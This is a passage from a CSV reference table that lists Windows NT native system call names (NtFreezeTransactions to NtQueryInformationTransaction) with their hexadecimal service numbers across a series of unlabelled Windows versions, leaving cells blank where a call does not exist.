184,NtFreezeTransactions,0x00e0,0x00e1,0x00e3,0x00e6,0x00e7,0x00e8,0x00e9,0x00ea,0x00ea,0x00ef,0x00ef,0x00ef,0x00f0,0x00f0,0x00f4,0x00f5,0x00f6,0x00f6,0x00f7,0x00f8,0x00f8
185,NtFsControlFile,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039,0x0039
186,NtGetCachedSigningLevel,0x00e1,0x00e2,0x00e4,0x00e7,0x00e8,0x00e9,0x00ea,0x00eb,0x00eb,0x00f0,0x00f0,0x00f0,0x00f1,0x00f1,0x00f5,0x00f6,0x00f7,0x00f7,0x00f8,0x00f9,0x00f9
187,NtGetCompleteWnfStateSubscription,0x00e2,0x00e3,0x00e5,0x00e8,0x00e9,0x00ea,0x00eb,0x00ec,0x00ec,0x00f1,0x00f1,0x00f1,0x00f2,0x00f2,0x00f6,0x00f7,0x00f8,0x00f8,0x00f9,0x00fa,0x00fa
188,NtGetContextThread,0x00e3,0x00e4,0x00e6,0x00e9,0x00ea,0x00eb,0x00ec,0x00ed,0x00ed,0x00f2,0x00f2,0x00f2,0x00f3,0x00f3,0x00f7,0x00f8,0x00f9,0x00f9,0x00fa,0x00fb,0x00fb
189,NtGetCurrentProcessorNumber,0x00e4,0x00e5,0x00e7,0x00ea,0x00eb,0x00ec,0x00ed,0x00ee,0x00ee,0x00f3,0x00f3,0x00f3,0x00f4,0x00f4,0x00f8,0x00f9,0x00fa,0x00fa,0x00fb,0x00fc,0x00fc
190,NtGetCurrentProcessorNumberEx,0x00e5,0x00e6,0x00e8,0x00eb,0x00ec,0x00ed,0x00ee,0x00ef,0x00ef,0x00f4,0x00f4,0x00f4,0x00f5,0x00f5,0x00f9,0x00fa,0x00fb,0x00fb,0x00fc,0x00fd,0x00fd
191,NtGetDevicePowerState,0x00e6,0x00e7,0x00e9,0x00ec,0x00ed,0x00ee,0x00ef,0x00f0,0x00f0,0x00f5,0x00f5,0x00f5,0x00f6,0x00f6,0x00fa,0x00fb,0x00fc,0x00fc,0x00fd,0x00fe,0x00fe
192,NtGetMUIRegistryInfo,0x00e7,0x00e8,0x00ea,0x00ed,0x00ee,0x00ef,0x00f0,0x00f1,0x00f1,0x00f6,0x00f6,0x00f6,0x00f7,0x00f7,0x00fb,0x00fc,0x00fd,0x00fd,0x00fe,0x00ff,0x00ff
193,NtGetNextProcess,0x00e8,0x00e9,0x00eb,0x00ee,0x00ef,0x00f0,0x00f1,0x00f2,0x00f2,0x00f7,0x00f7,0x00f7,0x00f8,0x00f8,0x00fc,0x00fd,0x00fe,0x00fe,0x00ff,0x0100,0x0100
194,NtGetNextThread,0x00e9,0x00ea,0x00ec,0x00ef,0x00f0,0x00f1,0x00f2,0x00f3,0x00f3,0x00f8,0x00f8,0x00f8,0x00f9,0x00f9,0x00fd,0x00fe,0x00ff,0x00ff,0x0100,0x0101,0x0101
195,NtGetNlsSectionPtr,0x00ea,0x00eb,0x00ed,0x00f0,0x00f1,0x00f2,0x00f3,0x00f4,0x00f4,0x00f9,0x00f9,0x00f9,0x00fa,0x00fa,0x00fe,0x00ff,0x0100,0x0100,0x0101,0x0102,0x0102
196,NtGetNotificationResourceManager,0x00eb,0x00ec,0x00ee,0x00f1,0x00f2,0x00f3,0x00f4,0x00f5,0x00f5,0x00fa,0x00fa,0x00fa,0x00fb,0x00fb,0x00ff,0x0100,0x0101,0x0101,0x0102,0x0103,0x0103
197,NtGetPlugPlayEvent,,,,,,,,,,,,,,,,,,,,,
198,NtGetWriteWatch,0x00ec,0x00ed,0x00ef,0x00f2,0x00f3,0x00f4,0x00f5,0x00f6,0x00f6,0x00fb,0x00fb,0x00fb,0x00fc,0x00fc,0x0100,0x0101,0x0102,0x0102,0x0103,0x0104,0x0104
199,NtImpersonateAnonymousToken,0x00ed,0x00ee,0x00f0,0x00f3,0x00f4,0x00f5,0x00f6,0x00f7,0x00f7,0x00fc,0x00fc,0x00fc,0x00fd,0x00fd,0x0101,0x0102,0x0103,0x0103,0x0104,0x0105,0x0105
200,NtImpersonateClientOfPort,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f,0x001f
201,NtImpersonateThread,0x00ee,0x00ef,0x00f1,0x00f4,0x00f5,0x00f6,0x00f7,0x00f8,0x00f8,0x00fd,0x00fd,0x00fd,0x00fe,0x00fe,0x0102,0x0103,0x0104,0x0104,0x0105,0x0106,0x0106
202,NtInitializeEnclave,,0x00f0,0x00f2,0x00f5,0x00f6,0x00f7,0x00f8,0x00f9,0x00f9,0x00fe,0x00fe,0x00fe,0x00ff,0x00ff,0x0103,0x0104,0x0105,0x0105,0x0106,0x0107,0x0107
203,NtInitializeNlsFiles,0x00ef,0x00f1,0x00f3,0x00f6,0x00f7,0x00f8,0x00f9,0x00fa,0x00fa,0x00ff,0x00ff,0x00ff,0x0100,0x0100,0x0104,0x0105,0x0106,0x0106,0x0107,0x0108,0x0108
204,NtInitializeRegistry,0x00f0,0x00f2,0x00f4,0x00f7,0x00f8,0x00f9,0x00fa,0x00fb,0x00fb,0x0100,0x0100,0x0100,0x0101,0x0101,0x0105,0x0106,0x0107,0x0107,0x0108,0x0109,0x0109
205,NtInitiatePowerAction,0x00f1,0x00f3,0x00f5,0x00f8,0x00f9,0x00fa,0x00fb,0x00fc,0x00fc,0x0101,0x0101,0x0101,0x0102,0x0102,0x0106,0x0107,0x0108,0x0108,0x0109,0x010a,0x010a
206,NtIsProcessInJob,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f,0x004f
207,NtIsSystemResumeAutomatic,0x00f2,0x00f4,0x00f6,0x00f9,0x00fa,0x00fb,0x00fc,0x00fd,0x00fd,0x0102,0x0102,0x0102,0x0103,0x0103,0x0107,0x0108,0x0109,0x0109,0x010a,0x010b,0x010b
208,NtIsUILanguageComitted,0x00f3,0x00f5,0x00f7,0x00fa,0x00fb,0x00fc,0x00fd,0x00fe,0x00fe,0x0103,0x0103,0x0103,0x0104,0x0104,0x0108,0x0109,0x010a,0x010a,0x010b,0x010c,0x010c
209,NtListTransactions,,,,,,,,,,,,,,,,,,,,,
210,NtListenPort,0x00f4,0x00f6,0x00f8,0x00fb,0x00fc,0x00fd,0x00fe,0x00ff,0x00ff,0x0104,0x0104,0x0104,0x0105,0x0105,0x0109,0x010a,0x010b,0x010b,0x010c,0x010d,0x010d
211,NtLoadDriver,0x00f5,0x00f7,0x00f9,0x00fc,0x00fd,0x00fe,0x00ff,0x0100,0x0100,0x0105,0x0105,0x0105,0x0106,0x0106,0x010a,0x010b,0x010c,0x010c,0x010d,0x010e,0x010e
212,NtLoadEnclaveData,,0x00f8,0x00fa,0x00fd,0x00fe,0x00ff,0x0100,0x0101,0x0101,0x0106,0x0106,0x0106,0x0107,0x0107,0x010b,0x010c,0x010d,0x010d,0x010e,0x010f,0x010f
213,NtLoadHotPatch,,,,0x00fe,0x00ff,0x0100,,,,,,,,,,,,,,,
214,NtLoadKey,0x00f6,0x00f9,0x00fb,0x00ff,0x0100,0x0101,0x0101,0x0102,0x0102,0x0107,0x0107,0x0107,0x0108,0x0108,0x010c,0x010d,0x010e,0x010e,0x010f,0x0110,0x0110
215,NtLoadKey2,0x00f7,0x00fa,0x00fc,0x0100,0x0101,0x0102,0x0102,0x0103,0x0103,0x0108,0x0108,0x0108,0x0109,0x0109,0x010d,0x010e,0x010f,0x010f,0x0110,0x0111,0x0111
216,NtLoadKey3,,,,,,,,,,0x01d6,0x01d6,0x01d6,0x01d7,0x01d7,0x010e,0x010f,0x0110,0x0110,0x0111,0x0112,0x0112
217,NtLoadKeyEx,0x00f8,0x00fb,0x00fd,0x0101,0x0102,0x0103,0x0103,0x0104,0x0104,0x0109,0x0109,0x0109,0x010a,0x010a,0x010f,0x0110,0x0111,0x0111,0x0112,0x0113,0x0113
218,NtLockFile,0x00f9,0x00fc,0x00fe,0x0102,0x0103,0x0104,0x0104,0x0105,0x0105,0x010a,0x010a,0x010a,0x010b,0x010b,0x0110,0x0111,0x0112,0x0112,0x0113,0x0114,0x0114
219,NtLockProductActivationKeys,0x00fa,0x00fd,0x00ff,0x0103,0x0104,0x0105,0x0105,0x0106,0x0106,0x010b,0x010b,0x010b,0x010c,0x010c,0x0111,0x0112,0x0113,0x0113,0x0114,0x0115,0x0115
220,NtLockRegistryKey,0x00fb,0x00fe,0x0100,0x0104,0x0105,0x0106,0x0106,0x0107,0x0107,0x010c,0x010c,0x010c,0x010d,0x010d,0x0112,0x0113,0x0114,0x0114,0x0115,0x0116,0x0116
221,NtLockVirtualMemory,0x00fc,0x00ff,0x0101,0x0105,0x0106,0x0107,0x0107,0x0108,0x0108,0x010d,0x010d,0x010d,0x010e,0x010e,0x0113,0x0114,0x0115,0x0115,0x0116,0x0117,0x0117
222,NtMakePermanentObject,0x00fd,0x0100,0x0102,0x0106,0x0107,0x0108,0x0108,0x0109,0x0109,0x010e,0x010e,0x010e,0x010f,0x010f,0x0114,0x0115,0x0116,0x0116,0x0117,0x0118,0x0118
223,NtMakeTemporaryObject,0x00fe,0x0101,0x0103,0x0107,0x0108,0x0109,0x0109,0x010a,0x010a,0x010f,0x010f,0x010f,0x0110,0x0110,0x0115,0x0116,0x0117,0x0117,0x0118,0x0119,0x0119
224,NtManageHotPatch,,,,,,,0x010a,0x010b,0x010b,0x0110,0x0110,0x0110,0x0111,0x0111,0x0116,0x0117,0x0118,0x0118,0x0119,0x011a,0x011a
225,NtManagePartition,0x00ff,0x0102,0x0104,0x0108,0x0109,0x010a,0x010b,0x010c,0x010c,0x0111,0x0111,0x0111,0x0112,0x0112,0x0117,0x0118,0x0119,0x0119,0x011a,0x011b,0x011b
226,NtMapCMFModule,0x0100,0x0103,0x0105,0x0109,0x010a,0x010b,0x010c,0x010d,0x010d,0x0112,0x0112,0x0112,0x0113,0x0113,0x0118,0x0119,0x011a,0x011a,0x011b,0x011c,0x011c
227,NtMapUserPhysicalPages,0x0101,0x0104,0x0106,0x010a,0x010b,0x010c,0x010d,0x010e,0x010e,0x0113,0x0113,0x0113,0x0114,0x0114,0x0119,0x011a,0x011b,0x011b,0x011c,0x011d,0x011d
228,NtMapUserPhysicalPagesScatter,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003,0x0003
229,NtMapViewOfSection,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028,0x0028
230,NtMapViewOfSectionEx,,,,,,0x010d,0x010e,0x010f,0x010f,0x0114,0x0114,0x0114,0x0115,0x0115,0x011a,0x011b,0x011c,0x011c,0x011d,0x011e,0x011e
231,NtMarshallTransaction,,,,,,,,,,,,,,,,,,,,,
232,NtModifyBootEntry,0x0102,0x0105,0x0107,0x010b,0x010c,0x010e,0x010f,0x0110,0x0110,0x0115,0x0115,0x0115,0x0116,0x0116,0x011b,0x011c,0x011d,0x011d,0x011e,0x011f,0x011f
233,NtModifyDriverEntry,0x0103,0x0106,0x0108,0x010c,0x010d,0x010f,0x0110,0x0111,0x0111,0x0116,0x0116,0x0116,0x0117,0x0117,0x011c,0x011d,0x011e,0x011e,0x011f,0x0120,0x0120
234,NtNotifyChangeDirectoryFile,0x0104,0x0107,0x0109,0x010d,0x010e,0x0110,0x0111,0x0112,0x0112,0x0117,0x0117,0x0117,0x0118,0x0118,0x011d,0x011e,0x011f,0x011f,0x0120,0x0121,0x0121
235,NtNotifyChangeDirectoryFileEx,,,,,0x010f,0x0111,0x0112,0x0113,0x0113,0x0118,0x0118,0x0118,0x0119,0x0119,0x011e,0x011f,0x0120,0x0120,0x0121,0x0122,0x0122
236,NtNotifyChangeKey,0x0105,0x0108,0x010a,0x010e,0x0110,0x0112,0x0113,0x0114,0x0114,0x0119,0x0119,0x0119,0x011a,0x011a,0x011f,0x0120,0x0121,0x0121,0x0122,0x0123,0x0123
237,NtNotifyChangeMultipleKeys,0x0106,0x0109,0x010b,0x010f,0x0111,0x0113,0x0114,0x0115,0x0115,0x011a,0x011a,0x011a,0x011b,0x011b,0x0120,0x0121,0x0122,0x0122,0x0123,0x0124,0x0124
238,NtNotifyChangeSession,0x0107,0x010a,0x010c,0x0110,0x0112,0x0114,0x0115,0x0116,0x0116,0x011b,0x011b,0x011b,0x011c,0x011c,0x0121,0x0122,0x0123,0x0123,0x0124,0x0125,0x0125
239,NtOpenCpuPartition,,,,,,,,,,,,,,,,,0x0124,0x0124,0x0125,0x0126,0x0126
240,NtOpenDirectoryObject,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058,0x0058
241,NtOpenEnlistment,0x0108,0x010b,0x010d,0x0111,0x0113,0x0115,0x0116,0x0117,0x0117,0x011c,0x011c,0x011c,0x011d,0x011d,0x0122,0x0123,0x0125,0x0125,0x0126,0x0127,0x0127
242,NtOpenEvent,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040,0x0040
243,NtOpenEventPair,0x0109,0x010c,0x010e,0x0112,0x0114,0x0116,0x0117,0x0118,0x0118,0x011d,0x011d,0x011d,0x011e,0x011e,0x0123,0x0124,0x0126,0x0126,0x0127,0x0128,0x0128
244,NtOpenFile,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033,0x0033
245,NtOpenIoCompletion,0x010a,0x010d,0x010f,0x0113,0x0115,0x0117,0x0118,0x0119,0x0119,0x011e,0x011e,0x011e,0x011f,0x011f,0x0124,0x0125,0x0127,0x0127,0x0128,0x0129,0x0129
246,NtOpenJobObject,0x010b,0x010e,0x0110,0x0114,0x0116,0x0118,0x0119,0x011a,0x011a,0x011f,0x011f,0x011f,0x0120,0x0120,0x0125,0x0126,0x0128,0x0128,0x0129,0x012a,0x012a
247,NtOpenKey,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012,0x0012
248,NtOpenKeyEx,0x010c,0x010f,0x0111,0x0115,0x0117,0x0119,0x011a,0x011b,0x011b,0x0120,0x0120,0x0120,0x0121,0x0121,0x0126,0x0127,0x0129,0x0129,0x012a,0x012b,0x012b
249,NtOpenKeyTransacted,0x010d,0x0110,0x0112,0x0116,0x0118,0x011a,0x011b,0x011c,0x011c,0x0121,0x0121,0x0121,0x0122,0x0122,0x0127,0x0128,0x012a,0x012a,0x012b,0x012c,0x012c
250,NtOpenKeyTransactedEx,0x010e,0x0111,0x0113,0x0117,0x0119,0x011b,0x011c,0x011d,0x011d,0x0122,0x0122,0x0122,0x0123,0x0123,0x0128,0x0129,0x012b,0x012b,0x012c,0x012d,0x012d
251,NtOpenKeyedEvent,0x010f,0x0112,0x0114,0x0118,0x011a,0x011c,0x011d,0x011e,0x011e,0x0123,0x0123,0x0123,0x0124,0x0124,0x0129,0x012a,0x012c,0x012c,0x012d,0x012e,0x012e
252,NtOpenMutant,0x0110,0x0113,0x0115,0x0119,0x011b,0x011d,0x011e,0x011f,0x011f,0x0124,0x0124,0x0124,0x0125,0x0125,0x012a,0x012b,0x012d,0x012d,0x012e,0x012f,0x012f
253,NtOpenObjectAuditAlarm,0x0111,0x0114,0x0116,0x011a,0x011c,0x011e,0x011f,0x0120,0x0120,0x0125,0x0125,0x0125,0x0126,0x0126,0x012b,0x012c,0x012e,0x012e,0x012f,0x0130,0x0130
254,NtOpenPartition,0x0112,0x0115,0x0117,0x011b,0x011d,0x011f,0x0120,0x0121,0x0121,0x0126,0x0126,0x0126,0x0127,0x0127,0x012c,0x012d,0x012f,0x012f,0x0130,0x0131,0x0131
255,NtOpenPrivateNamespace,0x0113,0x0116,0x0118,0x011c,0x011e,0x0120,0x0121,0x0122,0x0122,0x0127,0x0127,0x0127,0x0128,0x0128,0x012d,0x012e,0x0130,0x0130,0x0131,0x0132,0x0132
256,NtOpenProcess,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026,0x0026
257,NtOpenProcessToken,0x0114,0x0117,0x0119,0x011d,0x011f,0x0121,0x0122,0x0123,0x0123,0x0128,0x0128,0x0128,0x0129,0x0129,0x012e,0x012f,0x0131,0x0131,0x0132,0x0133,0x0133
258,NtOpenProcessTokenEx,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030,0x0030
259,NtOpenRegistryTransaction,,,0x011a,0x011e,0x0120,0x0122,0x0123,0x0124,0x0124,0x0129,0x0129,0x0129,0x012a,0x012a,0x012f,0x0130,0x0132,0x0132,0x0133,0x0134,0x0134
260,NtOpenResourceManager,0x0115,0x0118,0x011b,0x011f,0x0121,0x0123,0x0124,0x0125,0x0125,0x012a,0x012a,0x012a,0x012b,0x012b,0x0130,0x0131,0x0133,0x0133,0x0134,0x0135,0x0135
261,NtOpenSection,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037,0x0037
262,NtOpenSemaphore,0x0116,0x0119,0x011c,0x0120,0x0122,0x0124,0x0125,0x0126,0x0126,0x012b,0x012b,0x012b,0x012c,0x012c,0x0131,0x0132,0x0134,0x0134,0x0135,0x0136,0x0136
263,NtOpenSession,0x0117,0x011a,0x011d,0x0121,0x0123,0x0125,0x0126,0x0127,0x0127,0x012c,0x012c,0x012c,0x012d,0x012d,0x0132,0x0133,0x0135,0x0135,0x0136,0x0137,0x0137
264,NtOpenSymbolicLinkObject,0x0118,0x011b,0x011e,0x0122,0x0124,0x0126,0x0127,0x0128,0x0128,0x012d,0x012d,0x012d,0x012e,0x012e,0x0133,0x0134,0x0136,0x0136,0x0137,0x0138,0x0138
265,NtOpenThread,0x0119,0x011c,0x011f,0x0123,0x0125,0x0127,0x0128,0x0129,0x0129,0x012e,0x012e,0x012e,0x012f,0x012f,0x0134,0x0135,0x0137,0x0137,0x0138,0x0139,0x0139
266,NtOpenThreadToken,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024,0x0024
267,NtOpenThreadTokenEx,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f,0x002f
268,NtOpenTimer,0x011a,0x011d,0x0120,0x0124,0x0126,0x0128,0x0129,0x012a,0x012a,0x012f,0x012f,0x012f,0x0130,0x0130,0x0135,0x0136,0x0138,0x0138,0x0139,0x013a,0x013a
269,NtOpenTransaction,0x011b,0x011e,0x0121,0x0125,0x0127,0x0129,0x012a,0x012b,0x012b,0x0130,0x0130,0x0130,0x0131,0x0131,0x0136,0x0137,0x0139,0x0139,0x013a,0x013b,0x013b
270,NtOpenTransactionManager,0x011c,0x011f,0x0122,0x0126,0x0128,0x012a,0x012b,0x012c,0x012c,0x0131,0x0131,0x0131,0x0132,0x0132,0x0137,0x0138,0x013a,0x013a,0x013b,0x013c,0x013c
271,NtPlugPlayControl,0x011d,0x0120,0x0123,0x0127,0x0129,0x012b,0x012c,0x012d,0x012d,0x0132,0x0132,0x0132,0x0133,0x0133,0x0138,0x0139,0x013b,0x013b,0x013c,0x013d,0x013d
272,NtPowerInformation,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f,0x005f
273,NtPrePrepareComplete,0x011e,0x0121,0x0124,0x0128,0x012a,0x012c,0x012d,0x012e,0x012e,0x0133,0x0133,0x0133,0x0134,0x0134,0x0139,0x013a,0x013c,0x013c,0x013d,0x013e,0x013e
274,NtPrePrepareEnlistment,0x011f,0x0122,0x0125,0x0129,0x012b,0x012d,0x012e,0x012f,0x012f,0x0134,0x0134,0x0134,0x0135,0x0135,0x013a,0x013b,0x013d,0x013d,0x013e,0x013f,0x013f
275,NtPrepareComplete,0x0120,0x0123,0x0126,0x012a,0x012c,0x012e,0x012f,0x0130,0x0130,0x0135,0x0135,0x0135,0x0136,0x0136,0x013b,0x013c,0x013e,0x013e,0x013f,0x0140,0x0140
276,NtPrepareEnlistment,0x0121,0x0124,0x0127,0x012b,0x012d,0x012f,0x0130,0x0131,0x0131,0x0136,0x0136,0x0136,0x0137,0x0137,0x013c,0x013d,0x013f,0x013f,0x0140,0x0141,0x0141
277,NtPrivilegeCheck,0x0122,0x0125,0x0128,0x012c,0x012e,0x0130,0x0131,0x0132,0x0132,0x0137,0x0137,0x0137,0x0138,0x0138,0x013d,0x013e,0x0140,0x0140,0x0141,0x0142,0x0142
278,NtPrivilegeObjectAuditAlarm,0x0123,0x0126,0x0129,0x012d,0x012f,0x0131,0x0132,0x0133,0x0133,0x0138,0x0138,0x0138,0x0139,0x0139,0x013e,0x013f,0x0141,0x0141,0x0142,0x0143,0x0143
279,NtPrivilegedServiceAuditAlarm,0x0124,0x0127,0x012a,0x012e,0x0130,0x0132,0x0133,0x0134,0x0134,0x0139,0x0139,0x0139,0x013a,0x013a,0x013f,0x0140,0x0142,0x0142,0x0143,0x0144,0x0144
280,NtPropagationComplete,0x0125,0x0128,0x012b,0x012f,0x0131,0x0133,0x0134,0x0135,0x0135,0x013a,0x013a,0x013a,0x013b,0x013b,0x0140,0x0141,0x0143,0x0143,0x0144,0x0145,0x0145
281,NtPropagationFailed,0x0126,0x0129,0x012c,0x0130,0x0132,0x0134,0x0135,0x0136,0x0136,0x013b,0x013b,0x013b,0x013c,0x013c,0x0141,0x0142,0x0144,0x0144,0x0145,0x0146,0x0146
282,NtProtectVirtualMemory,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050,0x0050
283,NtPssCaptureVaSpaceBulk,,,,,,,,,,0x013c,0x013c,0x013c,0x013d,0x013d,0x0142,0x0143,0x0145,0x0145,0x0146,0x0147,0x0147
284,NtPullTransaction,,,,,,,,,,,,,,,,,,,,,
285,NtPulseEvent,0x0127,0x012a,0x012d,0x0131,0x0133,0x0135,0x0136,0x0137,0x0137,0x013d,0x013d,0x013d,0x013e,0x013e,0x0143,0x0144,0x0146,0x0146,0x0147,0x0148,0x0148
286,NtQueryAttributesFile,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d,0x003d
287,NtQueryAuxiliaryCounterFrequency,,,,0x0132,0x0134,0x0136,0x0137,0x0138,0x0138,0x013e,0x013e,0x013e,0x013f,0x013f,0x0144,0x0145,0x0147,0x0147,0x0148,0x0149,0x0149
288,NtQueryBootEntryOrder,0x0128,0x012b,0x012e,0x0133,0x0135,0x0137,0x0138,0x0139,0x0139,0x013f,0x013f,0x013f,0x0140,0x0140,0x0145,0x0146,0x0148,0x0148,0x0149,0x014a,0x014a
289,NtQueryBootOptions,0x0129,0x012c,0x012f,0x0134,0x0136,0x0138,0x0139,0x013a,0x013a,0x0140,0x0140,0x0140,0x0141,0x0141,0x0146,0x0147,0x0149,0x0149,0x014a,0x014b,0x014b
290,NtQueryDebugFilterState,0x012a,0x012d,0x0130,0x0135,0x0137,0x0139,0x013a,0x013b,0x013b,0x0141,0x0141,0x0141,0x0142,0x0142,0x0147,0x0148,0x014a,0x014a,0x014b,0x014c,0x014c
291,NtQueryDefaultLocale,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015,0x0015
292,NtQueryDefaultUILanguage,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044,0x0044
293,NtQueryDirectoryFile,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035,0x0035
294,NtQueryDirectoryFileEx,,,,,0x0138,0x013a,0x013b,0x013c,0x013c,0x0142,0x0142,0x0142,0x0143,0x0143,0x0148,0x0149,0x014b,0x014b,0x014c,0x014d,0x014d
295,NtQueryDirectoryObject,0x012b,0x012e,0x0131,0x0136,0x0139,0x013b,0x013c,0x013d,0x013d,0x0143,0x0143,0x0143,0x0144,0x0144,0x0149,0x014a,0x014c,0x014c,0x014d,0x014e,0x014e
296,NtQueryDriverEntryOrder,0x012c,0x012f,0x0132,0x0137,0x013a,0x013c,0x013d,0x013e,0x013e,0x0144,0x0144,0x0144,0x0145,0x0145,0x014a,0x014b,0x014d,0x014d,0x014e,0x014f,0x014f
297,NtQueryEaFile,0x012d,0x0130,0x0133,0x0138,0x013b,0x013d,0x013e,0x013f,0x013f,0x0145,0x0145,0x0145,0x0146,0x0146,0x014b,0x014c,0x014e,0x014e,0x014f,0x0150,0x0150
298,NtQueryEvent,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056,0x0056
299,NtQueryFullAttributesFile,0x012e,0x0131,0x0134,0x0139,0x013c,0x013e,0x013f,0x0140,0x0140,0x0146,0x0146,0x0146,0x0147,0x0147,0x014c,0x014d,0x014f,0x014f,0x0150,0x0151,0x0151
300,NtQueryInformationAtom,0x012f,0x0132,0x0135,0x013a,0x013d,0x013f,0x0140,0x0141,0x0141,0x0147,0x0147,0x0147,0x0148,0x0148,0x014d,0x014e,0x0150,0x0150,0x0151,0x0152,0x0152
301,NtQueryInformationByName,,,,0x013b,0x013e,0x0140,0x0141,0x0142,0x0142,0x0148,0x0148,0x0148,0x0149,0x0149,0x014e,0x014f,0x0151,0x0151,0x0152,0x0153,0x0153
302,NtQueryInformationCpuPartition,,,,,,,,,,,,,,,,,0x0152,0x0152,0x0153,0x0154,0x0154
303,NtQueryInformationEnlistment,0x0130,0x0133,0x0136,0x013c,0x013f,0x0141,0x0142,0x0143,0x0143,0x0149,0x0149,0x0149,0x014a,0x014a,0x014f,0x0150,0x0153,0x0153,0x0154,0x0155,0x0155
304,NtQueryInformationFile,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011,0x0011
305,NtQueryInformationJobObject,0x0131,0x0134,0x0137,0x013d,0x0140,0x0142,0x0143,0x0144,0x0144,0x014a,0x014a,0x014a,0x014b,0x014b,0x0150,0x0151,0x0154,0x0154,0x0155,0x0156,0x0156
306,NtQueryInformationPort,0x0132,0x0135,0x0138,0x013e,0x0141,0x0143,0x0144,0x0145,0x0145,0x014b,0x014b,0x014b,0x014c,0x014c,0x0151,0x0152,0x0155,0x0155,0x0156,0x0157,0x0157
307,NtQueryInformationProcess,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019,0x0019
308,NtQueryInformationResourceManager,0x0133,0x0136,0x0139,0x013f,0x0142,0x0144,0x0145,0x0146,0x0146,0x014c,0x014c,0x014c,0x014d,0x014d,0x0152,0x0153,0x0156,0x0156,0x0157,0x0158,0x0158
309,NtQueryInformationThread,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025,0x0025
310,NtQueryInformationToken,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021,0x0021
311,NtQueryInformationTransaction,0x0134,0x0137,0x013a,0x0140,0x0143,0x0145,0x0146,0x0147,0x0147,0x014d,0x014d,0x014d,0x014e,0x014e,0x0153,0x0154,0x0157,0x0157,0x0158,0x0159,0x0159
